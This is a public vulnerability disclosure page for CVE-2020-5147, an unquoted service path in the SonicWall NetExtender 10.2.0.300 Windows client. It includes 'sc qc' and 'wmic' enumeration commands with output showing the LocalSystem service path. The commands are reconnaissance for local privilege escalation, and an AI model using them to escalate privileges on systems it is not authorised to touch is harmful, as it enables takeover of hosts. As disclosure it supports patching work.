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SonicWall NetExtender 10.2.0.300 Unquoted Service Path

SonicWall NetExtender 10.2.0.300 Unquoted Service Path
Posted Aug 17, 2021
Authored by shinnai

SonicWall NetExtender version 10.2.0.300 suffers from an unquoted service path vulnerability.

tags | exploit
advisories | CVE-2020-5147
SHA-256 | ec168adb408da09adcb5e7862e076b884d3773957bfa67dd254e524ff4dff3ce

SonicWall NetExtender 10.2.0.300 Unquoted Service Path

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# Exploit Title: SonicWall NetExtender 10.2.0.300 -  Unquoted Service Path
# Exploit Author: shinnai
# Software Link: https://www.sonicwall.com/products/remote-access/vpn-clients/
# Version: 10.2.0.300
# Tested On: Windows
# CVE: CVE-2020-5147

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Title: SonicWall NetExtender windows client unquoted service path
vulnerability
Vers.: 10.2.0.300
Down.: https://www.sonicwall.com/products/remote-access/vpn-clients/

Advisory:
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2020-0023
CVE ID: CVE-2020-5147 (https://nvd.nist.gov/vuln/detail/CVE-2020-5147)

URLs:
https://besteffortteam.it/sonicwall-netextender-windows-client-unquoted-service-path-vulnerability/
https://shinnai.altervista.org/exploits/SH-029-20210109.html

Desc.:
SonicWall NetExtender Windows client vulnerable to unquoted service path
vulnerability, this allows a local attacker to gain elevated privileges
in the host operating system.
This vulnerability impact SonicWall NetExtender Windows client version
10.2.300 and earlier.

Poc:

C:\>sc qc sonicwall_client_protection_svc
[SC] QueryServiceConfig OPERAZIONI RIUSCITE
NOME_SERVIZIO: sonicwall_client_protection_svc
TIPO : 10 WIN32_OWN_PROCESS
TIPO_AVVIO : 2 AUTO_START
CONTROLLO_ERRORE : 1 NORMAL
NOME_PERCORSO_BINARIO : C:\Program Files\SonicWall\Client
Protection Service\SonicWallClientProtectionService.exe <-- Unquoted
Service Path Vulnerability
GRUPPO_ORDINE_CARICAMENTO :
TAG : 0
NOME_VISUALIZZATO : SonicWall Client Protection Service
DIPENDENZE :
SERVICE_START_NAME : LocalSystem
C:\>

----------------------------------------------------------------------------------------------------------------------------------------------------------------------

C:\>wmic service get name,displayname,pathname,startmode |findstr /i
"auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
SonicWall Client Protection Service
sonicwall_client_protection_svc C:\Program Files\SonicWall\Client
Protection Service\SonicWallClientProtectionService.exe Auto

C:\>
----------------------------------------------------------------------------------------------------------------------------------------------------------------------

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